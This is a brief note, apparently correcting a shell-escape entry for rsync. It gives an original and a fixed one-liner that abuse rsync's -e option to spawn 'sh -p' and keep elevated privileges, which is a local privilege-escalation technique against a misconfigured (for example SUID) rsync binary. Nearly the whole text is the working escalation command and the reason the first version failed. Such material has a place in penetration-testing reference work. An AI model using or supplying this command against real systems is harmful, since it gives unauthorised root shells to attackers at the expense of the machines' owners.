Original command: `rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null` In `"sh 1>&2 0>&2"`, the - p parameter inheritance permission is missing after the command sh; Causing the failure of power raising; Modified command: `rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null`  